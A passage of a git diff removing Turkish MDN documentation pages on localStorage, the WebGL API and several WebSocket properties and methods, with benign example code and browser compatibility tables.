isminde bir fonksiyon çağırıyoruz ve şu değerleri kullanarak sayfa biçimlerini güncelliyoruz. Olmazsa, diğer <code>populateStorage()</code> fonksiyonu çağrılır, {{domxref("localStorage.setItem()")}} kullanarak öğelerinin değerlerini belirlemek için ardından <code>setStyles()</code> çağrılır.</p> - -<pre class="brush: js">if(!localStorage.getItem('bgcolor')) { - populateStorage(); -} else { - setStyles(); -} - -function populateStorage() { - localStorage.setItem('bgcolor', document.getElementById('bgcolor').value); - localStorage.setItem('font', document.getElementById('font').value); - localStorage.setItem('image', document.getElementById('image').value); - - setStyles(); -} - -function setStyles() { - var currentColor = localStorage.getItem('bgcolor'); - var currentFont = localStorage.getItem('font'); - var currentImage = localStorage.getItem('image'); - - document.getElementById('bgcolor').value = currentColor; - document.getElementById('font').value = currentFont; - document.getElementById('image').value = currentImage; - - htmlElem.style.backgroundColor = '#' + currentColor; - pElem.style.fontFamily = currentFont; - imgElem.setAttribute('src', currentImage); -}</pre> - -<div class="note"> -<p><strong>Not</strong>: <span id="result_box" lang="tr"><span class="hps">Tam bir</span> <span class="hps">çalışma</span> <span class="hps">örneği olarak</span> <span class="hps">çalışanı</span></span><span lang="tr"> <span class="hps">görmek için, <a href="https://github.com/mdn/web-storage-demo">Web Bellek Tanıtımınıza</a> bakınız.</span></span></p> -</div> - -<h2 id="Tanımlamalar">Tanımlamalar</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Web Storage', '#the-storage-interface', 'Storage')}}</td> - <td>{{Spec2('Web Storage')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>localStorage</td> - <td>4</td> - <td>3.5</td> - <td>8</td> - <td>10.50</td> - <td>4</td> - </tr> - <tr> - <td>sessionStorage</td> - <td>5</td> - <td>2</td> - <td>8</td> - <td>10.50</td> - <td>4</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>2.1</td> - <td>{{ CompatUnknown }}</td> - <td>8</td> - <td>11</td> - <td>3.2[1]</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] iOS 5.1'ten beri, Safari Mobile <code>localStorage</code> verisini önbellek dizinine kaydeder, genelde boş yer kısa ise zaman zaman bağlı olan işletim sistemi buyruğu ile temizlenir.</p> - -<p>Bütün tarayıcılar localStorage ile sessionStorage için değişen seviyede hacim sahiptirler. Burada <a href="http://dev-test.nemikor.com/web-storage/support-test/">çeşitli tarayıcılar için bütün bellek hacimlerinin ayrıntılı özeti</a>.</p> - -<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> - -<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Belleği API'sini Kullanma</a></p> diff --git a/files/tr/web/api/webgl_api/index.html b/files/tr/web/api/webgl_api/index.html deleted file mode 100644 index e72bde0ec7..0000000000 --- a/files/tr/web/api/webgl_api/index.html +++ /dev/null @@ -1,294 +0,0 @@ ---- -title: 'WebGL_API: Web için 2D ve 3D grafikler' -slug: Web/API/WebGL_API -translation_of: Web/API/WebGL_API ---- -<div>{{WebGLSidebar}}</div> - -<div class="summary"> -<p>WebGL (Web Grafik Kütüphanesi) herhangi bir plug-in kullanmadan, uyumlu bütün tarayıcılarda 3D ve 2D grafikler oluşturabilen bir JavaScript API'sidir. WebGL bunu, HTML5 {{HTMLElement ("canvas")}} öğelerinde kullanılabilen OpenGL ES 2.0'a yakın bir API'yi sunarak yapar.</p> -</div> - -<p>WebGL desteği şuan için şu tarayıcılarda mevcuttur: <a href="/en-US/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+, <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+, and <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a> build 10240+; ancak, kullanıcının kullandığı cihazın donanımı da bu özellikleri desteklemesi gerekmektedir.</p> - -<p>{{HTMLElement("canvas")}} öğesi ayrıca <a href="/en-US/docs/Web/API/Canvas_API">Canvas 2D</a> tarafından web sayfalarında 2D grafikler oluşturmak için de kullanılır.</p> - -<h2 id="Referans">Referans</h2> - -<h3 id="Standart_arayüzler">Standart arayüzler</h3> - -<div class="index"> -<ul> - <li>{{domxref("WebGLRenderingContext")}}</li> - <li>{{domxref("WebGL2RenderingContext")}} {{experimental_inline}}</li> - <li>{{domxref("WebGLActiveInfo")}}</li> - <li>{{domxref("WebGLBuffer")}}</li> - <li>{{domxref("WebGLContextEvent")}}</li> - <li>{{domxref("WebGLFramebuffer")}}</li> - <li>{{domxref("WebGLProgram")}}</li> - <li>{{domxref("WebGLQuery")}} {{experimental_inline}}</li> - <li>{{domxref("WebGLRenderbuffer")}}</li> - <li>{{domxref("WebGLSampler")}} {{experimental_inline}}</li> - <li>{{domxref("WebGLShader")}}</li> - <li>{{domxref("WebGLShaderPrecisionFormat")}}</li> - <li>{{domxref("WebGLSync")}} {{experimental_inline}}</li> - <li>{{domxref("WebGLTexture")}}</li> - <li>{{domxref("WebGLTransformFeedback")}} {{experimental_inline}}</li> - <li>{{domxref("WebGLUniformLocation")}}</li> - <li>{{domxref("WebGLVertexArrayObject")}} {{experimental_inline}}</li> -</ul> -</div> - -<h3 id="Uzantılar">Uzantılar</h3> - -<div class="index"> -<ul> - <li>{{domxref("ANGLE_instanced_arrays")}}</li> - <li>{{domxref("EXT_blend_minmax")}}</li> - <li>{{domxref("EXT_color_buffer_float")}}</li> - <li>{{domxref("EXT_color_buffer_half_float")}}</li> - <li>{{domxref("EXT_disjoint_timer_query")}}</li> - <li>{{domxref("EXT_frag_depth")}}</li> - <li>{{domxref("EXT_sRGB")}}</li> - <li>{{domxref("EXT_shader_texture_lod")}}</li> - <li>{{domxref("EXT_texture_filter_anisotropic")}}</li> - <li>{{domxref("OES_element_index_uint")}}</li> - <li>{{domxref("OES_standard_derivatives")}}</li> - <li>{{domxref("OES_texture_float")}}</li> - <li>{{domxref("OES_texture_float_linear")}}</li> - <li>{{domxref("OES_texture_half_float")}}</li> - <li>{{domxref("OES_texture_half_float_linear")}}</li> - <li>{{domxref("OES_vertex_array_object")}}</li> - <li>{{domxref("WEBGL_color_buffer_float")}}</li> - <li>{{domxref("WEBGL_compressed_texture_astc")}}</li> - <li>{{domxref("WEBGL_compressed_texture_atc")}}</li> - <li>{{domxref("WEBGL_compressed_texture_etc")}}</li> - <li>{{domxref("WEBGL_compressed_texture_etc1")}}</li> - <li>{{domxref("WEBGL_compressed_texture_pvrtc")}}</li> - <li>{{domxref("WEBGL_compressed_texture_s3tc")}}</li> - <li>{{domxref("WEBGL_compressed_texture_s3tc_srgb")}}</li> - <li>{{domxref("WEBGL_debug_renderer_info")}}</li> - <li>{{domxref("WEBGL_debug_shaders")}}</li> - <li>{{domxref("WEBGL_depth_texture")}}</li> - <li>{{domxref("WEBGL_draw_buffers")}}</li> - <li>{{domxref("WEBGL_lose_context")}}</li> -</ul> -</div> - -<h3 id="Events">Events</h3> - -<ul> - <li>{{Event("webglcontextlost")}}</li> - <li>{{Event("webglcontextrestored")}}</li> - <li>{{Event("webglcontextcreationerror")}}</li> -</ul> - -<h3 id="Sabitler_ve_tipleri">Sabitler ve tipleri</h3> - -<ul> - <li><a href="/en-US/docs/Web/API/WebGL_API/Constants">WebGL constants</a></li> - <li><a href="/en-US/docs/Web/API/WebGL_API/Types">WebGL types</a></li> -</ul> - -<h3 id="WebGL_2">WebGL 2</h3> - -<p>WebGL 2 is a major update to WebGL which is provided through the {{domxref("WebGL2RenderingContext")}} interface. It is based on OpenGL ES 3.0 and new features include:</p> - -<ul> - <li><a href="/en-US/docs/Web/API/WebGL2RenderingContext/texImage3D">3D textures</a>,</li> - <li><a href="/en-US/docs/Web/API/WebGLSampler">Sampler objects</a>,</li> - <li><a href="/en-US/docs/Web/API/WebGL2RenderingContext#Uniform_buffer_objects">Uniform Buffer objects</a>,</li> - <li><a href="/en-US/docs/Web/API/WebGLSync">Sync objects</a>,</li> - <li><a href="/en-US/docs/Web/API/WebGLQuery">Query objects</a>,</li> - <li><a href="/en-US/docs/Web/API/WebGLTransformFeedback">Transform Feedback objects</a>,</li> - <li>Promoted extensions that are now core to WebGL 2: <a href="/en-US/docs/Web/API/WebGLVertexArrayObject">Vertex Array objects</a>, <a href="/en-US/docs/Web/API/WebGL2RenderingContext/drawArraysInstanced">instancing</a>, <a href="/en-US/docs/Web/API/WebGL2RenderingContext/drawBuffers">multiple render targets</a>, <a href="/en-US/docs/Web/API/EXT_frag_depth">fragment depth</a>.</li> -</ul> - -<p>See also the blog post <a href="https://hacks.mozilla.org/2017/01/webgl-2-lands-in-firefox/">"WebGL 2 lands in Firefox"</a> and <a href="http://webglsamples.org/WebGL2Samples/">webglsamples.org/WebGL2Samples</a> for a few demos.</p> - -<h2 id="Guides_and_tutorials">Guides and tutorials</h2> - -<p>Below, you'll find an assortment of guides to help you learn WebGL concepts and tutorials that offer step-by-step lessons and examples.</p> - -<h3 id="Guides">Guides</h3> - -<dl> - <dt><a href="/en-US/docs/Web/API/WebGL_API/Data">Data in WebGL</a></dt> - <dd>A guide to variables, buffers, and other types of data used when writing WebGL code.</dd> - <dt><a href="/en-US/docs/Web/API/WebGL_API/WebGL_best_practices">WebGL best practices</a></dt> - <dd>Tips and suggestions to help you improve the quality, performance, and reliability of your WebGL content.</dd> - <dt><a href="/en-US/docs/Web/API/WebGL_API/Using_Extensions">Using extensions</a></dt> - <dd>A guide to using WebGL extensions.</dd> -</dl> - -<h3 id="Tutorials">Tutorials</h3> - -<dl> - <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial">WebGL tutorial</a></dt> - <dd>A beginner's guide to WebGL core concepts. A good place to start if you don't have previous WebGL experience.</dd> -</dl> - -<h3 id="Examples">Examples</h3> - -<dl> - <dt><a href="/en-US/docs/Web/API/WebGL_API/Basic_2D_animation_example">A basic 2D WebGL animation example</a></dt> - <dd>This example demonstrates the simple animation of a one-color shape. Topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in WebGL.</dd> -</dl> - -<h3 id="Advanced_tutorials">Advanced tutorials</h3> - -<dl> - <dt><a href="/en-US/docs/Web/API/WebGL_API/WebGL_model_view_projection">WebGL model view projection</a></dt> - <dd>A detailed explanation of the three core matrices that are typically used to represent a 3D object view: the model, view and projection matrices.</dd> - <dt><a href="/en-US/docs/Web/API/WebGL_API/Matrix_math_for_the_web">Matrix math for the web</a></dt> - <dd>A useful guide to how 3D transform matrices work, and can be used on the web — both for WebGL calculations and in CSS3 transforms.</dd> -</dl> - -<h2 id="Resources">Resources</h2> - -<ul> - <li><a href="https://www.youtube.com/embed/H4c8t6myAWU/?feature=player_detailpage">Raw WebGL: An introduction to WebGL</a> A talk by Nick Desaulniers that introduces the basics of WebGL. This is a great place to start if you've never done low-level graphics programming.</li> - <li><a href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Khronos WebGL site</a> The main web site for WebGL at the Khronos Group.</li> - <li><a href="http://learningwebgl.com/blog/?page_id=1217" title="http://learningwebgl.com/blog/">Learning WebGL</a> A site with tutorials on how to use WebGL.</li> - <li><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">WebGL Fundamentals</a> A basic tutorial with fundamentals of WebGL.</li> - <li><a href="http://webglplayground.net" title="http://webglplayground.net">WebGL playground</a> An online tool for creating and sharing WebGL projects. Good for quick prototyping and experimenting.</li> - <li><a href="http://www.webglacademy.com" title="http://www.webglacademy.com">WebGL Academy</a> An HTML/JavaScript editor with tutorials to learn basics of webgl programming.</li> - <li><a href="http://webglstats.com/">WebGL Stats</a> A site with statistics about WebGL capabilities in browsers on different platforms.</li> -</ul> - -<h3 id="Libraries">Libraries</h3> - -<ul> - <li><a class="link-https" href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a> JavaScript Matrix and Vector library for High Performance WebGL apps</li> - <li><a href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> An open source library for manipulating vectors and matrices. Not optimized for WebGL but extremely robust.</li> -</ul> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('WebGL')}}</td> - <td>{{Spec2('WebGL')}}</td> - <td>Initial definition. Based on OpenGL ES 2.0</td> - </tr> - <tr> - <td>{{SpecName('WebGL2')}}</td> - <td>{{Spec2('WebGL2')}}</td> - <td>Builds on top of WebGL 1. Based on OpenGL ES 3.0.</td> - </tr> - <tr> - <td>{{SpecName('OpenGL ES 2.0')}}</td> - <td>{{Spec2('OpenGL ES 2.0')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('OpenGL ES 3.0')}}</td> - <td>{{Spec2('OpenGL ES 3.0')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>9</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("2.0")}}</td> - <td>11</td> - <td>12</td> - <td>5.1</td> - </tr> - <tr> - <td>WebGL 2</td> - <td>56</td> - <td>{{CompatNo}}</td> - <td>{{CompatGeckoDesktop("51")}}</td> - <td>{{CompatNo}}</td> - <td>43</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome for Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>25</td> - <td>{{CompatVersionUnknown}}</td> - <td>4</td> - <td>{{CompatNo}}</td> - <td>12</td> - <td>8.1</td> - </tr> - <tr> - <td>WebGL 2</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h3 id="Compatibility_notes">Compatibility notes</h3> - -<p>In addition to the browser, the GPU itself also needs to support the feature. So, for example, S3 Texture Compression (S3TC) is only available on Tegra-based tablets. Most browsers make the WebGL context available through the <code>webgl</code> context name, but older ones need <code>experimental-webgl</code> as well. In addition, the upcoming <a href="/en-US/docs/Web/API/WebGL2RenderingContext">WebGL 2</a> is fully backwards-compatible and will have the context name <code>webgl2</code>.</p> - -<h3 id="Gecko_notes">Gecko notes</h3> - -<h4 id="WebGL_debugging_and_testing">WebGL debugging and testing</h4> - -<p>Starting with Gecko 10.0 {{geckoRelease("10.0")}}, there are two preferences available which let you control the capabilities of WebGL for testing purposes:</p> - -<dl> - <dt><code>webgl.min_capability_mode</code></dt> - <dd>A Boolean property that, when <code>true</code>, enables a minimum capability mode. When in this mode, WebGL is configured to only support the bare minimum feature set and capabilities required by the WebGL specification. This lets you ensure that your WebGL code will work on any device or browser, regardless of their capabilities. This is <code>false</code> by default.</dd> - <dt><code>webgl.disable_extensions</code></dt> - <dd>A Boolean property that, when <code>true</code>, disables all WebGL extensions. This is <code>false</code> by default.</dd> -</dl> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Canvas_API">Canvas</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGLRenderingContext/getSupportedExtensions#Browser_compatibility">Compatibility info about WebGL extensions</a></li> -</ul> diff --git a/files/tr/web/api/websocket/binarytype/index.html b/files/tr/web/api/websocket/binarytype/index.html deleted file mode 100644 index cb354a0dfb..0000000000 --- a/files/tr/web/api/websocket/binarytype/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: WebSocket.binaryType -slug: Web/API/WebSocket/binaryType -tags: - - API - - Web API - - WebSocket - - Özellik -translation_of: Web/API/WebSocket/binaryType ---- -<p>{{APIRef("Web Sockets API")}}</p> - -<p><strong><code>WebSocket.binaryType</code></strong> özelliği, bağlantıda iletilen verinin ikilik veri tipini verir.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="syntaxbox"><em>var binaryType</em> = aWebSocket.binaryType;</pre> - -<h2 id="Değer">Değer</h2> - -<p>Bir {{DOMXref("DOMString")}}:</p> - -<dl> - <dt><code>"blob"</code></dt> - <dd>Eğer {{domxref("Blob")}} objeleri kullanıldıysa.</dd> - <dt><code>"arraybuffer"</code></dt> - <dd>Eğer {{jsxref("ArrayBuffer")}} objeleri kullanıldıysa. - <p> </p> - </dd> -</dl> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Belirtim</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-websocket-binarytype', 'WebSocket: binaryType')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>İlk tanım</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - - - -<p>{{Compat("api.WebSocket.binaryType")}}</p> diff --git a/files/tr/web/api/websocket/close/index.html b/files/tr/web/api/websocket/close/index.html deleted file mode 100644 index 44d935c025..0000000000 --- a/files/tr/web/api/websocket/close/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: WebSocket.close() -slug: Web/API/WebSocket/close -tags: - - API - - Web API - - WebSocket - - Yöntem -translation_of: Web/API/WebSocket/close ---- -<p>{{APIRef("Web Sockets API")}}</p> - -<p><strong><code>WebSocket.close()</code></strong> yöntemi, eğer varsa, {{domxref("WebSocket")}} bağlantısını kapatır. Eğer bağlantı zaten <code>CLOSED</code> ise, hiç bir şey yapmaz.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="syntaxbox">WebSocket.close();</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>code</code> {{optional_inline}}</dt> - <dd>Bir bağlantının neden kapandığını açıklayan durum kodunu belirten bir sayısal değerdir. Eğer parametre belirtilmediyse, varsayılan değer olan <code>1005</code> kullanılır. Ayrıca {{domxref("CloseEvent")}} için izin verilen <a href="/tr/docs/Web/API/CloseEvent#Durum_kodları">durum kodu listesine</a> bakınız.</dd> -</dl> - -<dl> - <dt><code>reason</code> {{optional_inline}}</dt> - <dd>Neden bağlantının kapandığını belirten okunabilir bir dizidir. Bu dizi 123 byte boyutunda UTF-8 yazısından daha uzun olmamalıdır. <strong>(karakterler değil)</strong></dd> -</dl> - -<h3 id="Olağandışı_durumlar">Olağandışı durumlar</h3> - -<dl> - <dt><code>INVALID_ACCESS_ERR</code></dt> - <dd><code>code</code> parametresine geçersiz bir durum kodu girildi.</dd> - <dt><code>SYNTAX_ERR</code></dt> - <dd><code>reason</code> dizisi çok uzun ya da eşleştirilmemiş naipler içeriyor.</dd> -</dl> - -<div class="note"> -<p><strong>Not:</strong> Gecko'da, bu yöntem 8.0'dan önce hiç bir parametreyi desteklemiyor. {{geckoRelease("8.0")}}.</p> -</div> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th>Belirtim</th> - <th>Durum</th> - <th>Yorum</th> - </tr> - <tr> - <td><a class="external external-icon" href="https://html.spec.whatwg.org/multipage/web-sockets.html#dom-websocket-close" hreflang="en" lang="en">HTML Living Standard<br> - <small lang="en-US">The definition of 'WebSocket.close()' in that specification.</small></a></td> - <td><span class="spec-Living">Living Standard</span></td> - <td>İlk tanım</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - - - -<p>{{Compat("api.WebSocket.close")}}</p> diff --git a/files/tr/web/api/websocket/extensions/index.html b/files/tr/web/api/websocket/extensions/index.html deleted file mode 100644 index 55b7cbb914..0000000000 --- a/files/tr/web/api/websocket/extensions/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: WebSocket.extensions -slug: Web/API/WebSocket/extensions -tags: - - API - - Web API - - WebSocket - - Özellik -translation_of: Web/API/WebSocket/extensions ---- -<p>{{APIRef("Web Sockets API")}}</p> - -<p>Salt-okunur <strong><code>WebSocket.extensions</code></strong> özelliği, sunucunun seçtiği uzantıları verir. Şu anlık boş bir dizi ya da bağlantı tarafından uzlaşılan uzantıların listesidir.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="syntaxbox"><em>var extensions</em> = aWebSocket.extensions;</pre> - -<h2 id="Değer">Değer</h2> - -<p>Bir {{domxref("DOMString")}}.</p> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Belirtim</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-websocket-extensions', 'WebSocket: extensions')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>İlk tanım</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - - - -<p>{{Compat("api.WebSocket.extensions")}}</p> diff --git a/files/tr/web/api/websocket/index.html b/files/tr/web/api/websocket/index.html deleted file mode 100644 index ce8a030def..0000000000 --- a/files/tr/web/api/websocket/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: WebSocket -slug: Web/API/WebSocket -tags: - - API - - WebSocket - - WebSockets -translation_of: Web/API/WebSocket ---- -<div>{{APIRef("Web Sockets API")}}</div> - -<p><code>WebSocket</code>, bir <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> sunucusuyla bağlantı kurmak ve bağlantıyı yönetmek için bir uygulama programlama arayüzü (API) sunar.</p> - -<p><code>WebSocket</code>'i kurmak için <code><a href="/en-US/docs/Web/API/WebSocket/WebSocket">WebSocket()</a></code> yapısını kullanın.</p> - -<h2 id="Yapılar">Yapılar</h2> - -<dl> - <dt>{{domxref("WebSocket.WebSocket", "WebSocket(url[, protocols])")}}</dt> - <dd>Yeni oluşturulmuş bir <code>WebSocket</code> objesi verir.</dd> -</dl> - -<h2 id="Sabitler">Sabitler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <td class="header">Sabit</td> - <td class="header">Değer</td> - </tr> - <tr> - <td><code>WebSocket.CONNECTING</code></td> - <td><code>0</code></td> - </tr> - <tr> - <td><code>WebSocket.OPEN</code></td> - <td><code>1</code></td> - </tr> - <tr> - <td><code>WebSocket.CLOSING</code></td> - <td><code>2</code></td> - </tr> - <tr> - <td><code>WebSocket.CLOSED</code></td> - <td><code>3</code></td> - </tr> - </tbody> -</table> - -<h2 id="Özellikler">Özellikler</h2> - -<dl> - <dt>{{domxref("WebSocket.binaryType")}}</dt> - <dd>Bağlantıda kurulan ikilik veri tipi.</dd> - <dt>{{domxref("WebSocket.bufferedAmount")}} {{readonlyinline}}</dt> - <dd>Kuyruktaki değerlerin byte sayıları.</dd> - <dt>{{domxref("WebSocket.extensions")}} {{readonlyinline}}</dt> - <dd>Sunucu tarafından seçilmiş uzantılar.</dd> - <dt>{{domxref("WebSocket.onclose")}}</dt> - <dd>Bağlantı kapandığında çağırılan olay dinleyicisi.</dd> - <dt>{{domxref("WebSocket.onerror")}}</dt> - <dd>Hata oluştuğunda çağırılan olay dinleyicisi.</dd> - <dt>{{domxref("WebSocket.onmessage")}}</dt> - <dd>Sunucudan mesaj alındığında çağırılan olay dinleyicisi.</dd> - <dt>{{domxref("WebSocket.onopen")}}</dt> - <dd>Bağlantı kurulduğunda çağırılan olay dinleyicisi.</dd> - <dt>{{domxref("WebSocket.protocol")}} {{readonlyinline}}</dt> - <dd>Sunucu tarafından seçilmiş alt-protokol.</dd> - <dt>{{domxref("WebSocket.readyState")}} {{readonlyinline}}</dt> - <dd>Bağlantının şimdiki durumu.</dd> - <dt>{{domxref("WebSocket.url")}} {{readonlyinline}}</dt> - <dd>WebSocket'in mutlak URL'si.</dd> -</dl> - -<h2 id="Yöntemler">Yöntemler</h2> - -<dl> - <dt>{{domxref("WebSocket.close", "WebSocket.close([code[, reason]])")}}</dt> - <dd>Bağlantıyı kapatır.</dd> - <dt>{{domxref("WebSocket.send", "WebSocket.send(data)")}}</dt> - <dd>İletilmek üzere veriyi kuyruğa ekler.</dd> -</dl> - -<h2 id="Örnek">Örnek</h2> - -<p> </p> - -<pre class="brush: js">// WebSocket bağlantısı kur -const socket = new WebSocket('ws://localhost:8080'); - -// Bağlantı kurulduğunda -socket.addEventListener('open', function (event) { - socket.send('Sunucuya bağlanıldı.'); -}); - -// Mesaj alındığında -socket.addEventListener('message', function (event) { - console.log('Mesaj alındı: ', event.data); -}); - -// Mesaj gönder -socket.send('Merhaba!'); - -// Bağlantıyı bitir -socket.close(1000, 'Güle güle.');</pre> - -<p> </p> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th>Belirtim</th> - <th>Durum</th> - <th>Yorum</th> - </tr> - <tr> - <td>{{SpecName("HTML WHATWG", "web-sockets.html#the-websocket-interface", "WebSocket")}}</td> - <td>{{Spec2("HTML WHATWG")}}</td> - <td>İlk tanım</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - -<div> - - -<p>{{Compat("api.WebSocket")}}</p> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications">Writing WebSocket client applications <em>(en)</em></a></li> -</ul> diff --git a/files/tr/web/api/websocket/onclose/index.html b/files/tr/web/api/websocket/onclose/index.html deleted file mode 100644 index 5df92f3634..0000000000 --- a/files/tr/web/api/websocket/onclose/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: WebSocket.onclose -slug: Web/API/WebSocket/onclose -tags: - - API - - Web API - - WebSocket - - Özellik -translation_of: Web/API/WebSocket/onclose ---- -<p>{{APIRef("Web Sockets API")}}</p> - -<p><code><strong>WebSocket.onclose</strong></code> özelliği bağlantının {{domxref("WebSocket.readyState","readyState")}} özelliği {{domxref("WebSocket.readyState","CLOSED")}} olduğunda çağırılan bir {{domxref("EventHandler")}}'dır. {{domxref("CloseEvent")}} ile birlikte çağırılır.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="syntaxbox"><em>aWebSocket</em>.onclose = function(event) { - console.log("WebSocket is closed now."); -};</pre> - -<h2 id="Değer">Değer</h2> - -<p>Bir {{domxref("EventListener")}}.</p> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Belirtim</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#handler-websocket-onclose', 'WebSocket: onclose')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>İlk tanım</td> - </tr> - </tbody> -</table> diff --git a/files/tr/web/api/websocket/onerror/index.html b/files/tr/web/api/websocket/onerror/index.html deleted file mode 100644 index 62cc321a79..0000000000 --- a/files/tr/web/api/websocket/onerror/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: WebSocket.onerror -slug: Web/API/WebSocket/onerror -tags: - - API - - Web API - - WebSocket - - Özellik -translation_of: Web/API/WebSocket/onerror ---- -<p>{{APIRef("Web Sockets API")}}</p> - -<p><strong><code>WebSocket.onerror</code></strong> özelliği hata oluştuğunda çağırılan bir {{domxref("EventHandler")}}'dır. {{domxref("Event")}} ile birlikte çağırılır.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="syntaxbox"><em>aWebSocket</em>.onerror = function(event) { - console.error("WebSocket error observed:", event); -};</pre> - -<h2 id="Değer">Değer</h2> - -<p>Bir {{domxref("EventListener")}}.</p> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Belirtim</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#handler-websocket-onerror', 'WebSocket: onerror')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>İlk tanım</td> - </tr> - </tbody> -</table> - -<h2 